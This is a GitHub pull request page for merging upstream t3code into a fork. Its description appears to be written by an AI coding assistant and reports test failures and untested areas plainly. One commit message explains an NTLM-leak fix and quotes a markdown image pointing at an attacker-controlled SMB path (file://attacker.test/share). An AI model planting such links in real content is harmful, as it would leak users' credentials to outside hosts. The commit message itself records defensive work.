Skip to content

chore(fork): merge upstream through 80455376f0 - #57

Merged
joaoheusi merged 1961 commits into
mainfrom
t3/merge-upstream-2026-10-25
Oct 25, 2026
Merged

joaoheusi merged 1961 commits into
mainfrom
t3/merge-upstream-2026-10-25

Conversation

@joaoheusi

@joaoheusi joaoheusi commented Oct 25, 2026 •

Copy link
Copy Markdown
Owner

The fork is 294 commits behind pingdotgg/t3code. PR #47 landed as a squash, so it also cut the history link to upstream again.

Please land this with a merge commit, not a squash. A squash drops the upstream history this PR restores, and the next sync then replays conflicts that are already resolved.

What changed

  • History link restored. The first commit is a content-free "ours" merge of PR chore: merge upstream updates and restore mobile model selection #47's head (b7b2427fc7). That head has the same tree as the squash commit f4dd65980a, so the record is accurate. With it, the real merge conflicts in 63 files instead of hundreds.
  • Upstream merged through 80455376f0.
  • Migrations. Upstream's new migrations 68 (ShellStopRequestIndex) and 69 (ThreadMessageSearch) are appended as 74 and 75. Released fork migration ids 59 to 73 are unchanged. The fork upgrade and reconcile tests now expect migrations through 75.
  • Fork identity kept. This covers versions (0.1.0-j4.14), the .j4code home, the desktop app id, the URL scheme, and the CLI name. The mobile native version moves to upstream's 2.1.0, which is higher than the fork's 2.0.1.
  • Fork code adapted to upstream changes:
    • Upstream moved pull request URL and key helpers into the source-control packages. WorkspaceRepositorySync and ThreadRepositoriesSection now use them.
    • The fork-only GitManager tests now use upstream's rewritten provider test helper.
    • The fork-only ServerBrowser tests now await fixture events instead of polling, as upstream's new lint rule requires.
    • Fork comments are cut to upstream's new limit of four lines. One em dash in product copy is replaced.

Judgment calls worth a look

Verification

  • Typecheck passes for server, web, mobile, desktop, client-runtime, contracts, shared, provider-muse, and scripts.
  • scripts/verify-fork.sh: 776 passed, 7 failed. Tests beside every file with a conflict or fix: 1346 passed, 3 failed. Browser tests: 46 passed, 4 failed.
  • All of these failures also fail on the current fork main, which I checked in a separate checkout. They are pre-existing and out of scope here:
    • Linux theme icon tests, which assume a case-sensitive filesystem.
    • CheckpointDiffQuery.
    • build-desktop-artifact.
    • PullRequestDetailPanel "Resolve conflicts".
  • Lint and format on all fork-changed files report no new errors compared with main. Knip output is identical to main.
  • migrate-dev-db ran on a read-only snapshot of the real fork database at ~/.j4code. Migrations 74 and 75 applied cleanly. The live database was not written.
  • Not tested: iOS and Android devices (the mobile composer and new-thread flow need a device check), a desktop build, a live provider turn, and remote connections.

Model: Claude Opus 5.5 through Claude Code in T3 Code. Three parallel subagents of the same model resolved the mobile, web, and server conflicts.

juliusmarminge and others added 30 commits October 21, 2026 14:25
…tead of taking them from ChatView (pingdotgg#23095)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…ons (pingdotgg#23097)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…le a reply streams (pingdotgg#23103)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…ingdotgg#22899)

Co-authored-by: Victor Vogel <satsdev@only21mil.xyz>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…again (pingdotgg#22937)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…ailure (pingdotgg#22904)

Co-authored-by: fixfon <12512757+fixfon@users.noreply.github.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…gg#21519)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
… Usage (pingdotgg#22905)

Co-authored-by: Victor Vogel <satsdev@only21mil.xyz>
Co-authored-by: GPT-6.1 Sol <noreply@openai.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…typing into the composer (pingdotgg#22898)

Co-authored-by: fixfon <12512757+fixfon@users.noreply.github.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…gdotgg#22188)

Co-authored-by: macodev00 <macodev00@users.noreply.github.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
A markdown image such as ![x](file://attacker.test/share/cat.jpg), or a raw
\\host\share path, was classified as a host file. Rendering it asked the
server for a signed asset URL, and the server's realpath on the resulting UNC
path made Windows open an SMB session and send the user's NetNTLMv2 response
to the attacker's host, with no click and no tool call. File-link chips did
the same through filesystem.getMetadata, which stats every absolute path, and
storage cleanup stats the store paths in a worktree's pnpm manifest, which an
agent can write.

Network paths (two leading separators, as Windows reads them: \\h, //h, /\h)
now only resolve inside the thread's project, so projects on a share keep
working:

- clients block them in markdown images and stop treating them as file links
- the web stops asking for their metadata
- the server refuses them for media assets and file reads outside the
  project, never stats one for metadata, and storage cleanup ignores a pnpm
  manifest that names one
- each check hands the filesystem the resolved path it approved, since
  Windows reads a `\\?\` path as written, `..` included

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
….com footer (pingdotgg#23133)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…tgg#22976)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…otgg#22979)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
juliusmarminge and others added 26 commits October 24, 2026 17:34
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…ingdotgg#24610)

Co-authored-by: lovelycodemonkey <ghassemimahyad@gmail.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…ngdotgg#24622)

Takes over pingdotgg#23490 by Ennio Cuteri, adding a frame limit on the settle loop and reporting positioned when its target disappears.

Co-authored-by: Ennio Cuteri <ennio.cuteri@gmail.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…g#24616)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
Co-authored-by: Afonso Ferreira <afonsoferreira29@gmail.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…S 26.6 (pingdotgg#24492)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…me (pingdotgg#24646)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
… thread list (pingdotgg#24648)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
… you approve (pingdotgg#24104)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…ingdotgg#21514)

Co-authored-by: maria-rcks <254055478+maria-rcks@users.noreply.github.com>
… per session (pingdotgg#24654)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…gg#24643)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
PR #47 landed as a squash. Its head b7b2427 has the same tree as the
squash commit f4dd659, so this content-empty merge records that history.
Brings in 294 upstream commits. Upstream migrations 68 and 69 land as
74 and 75, after the fork's recorded ids. Fork code is adapted to
upstream's source-control package split, the test helper rewrite, and
the new comment-length and polling-loop lint rules.
@github-actions github-actions Bot added vouch:trusted PR author is trusted by repo permissions or the VOUCHED list. size:XXL labels Oct 25, 2026
The test had no timeline, so it returned before checking unstarted runs.
@joaoheusi
joaoheusi merged commit 1ae2e14 into main Oct 25, 2026
9 of 11 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

size:XXL vouch:trusted PR author is trusted by repo permissions or the VOUCHED list.

Projects

None yet

Development

Successfully merging this pull request may close these issues.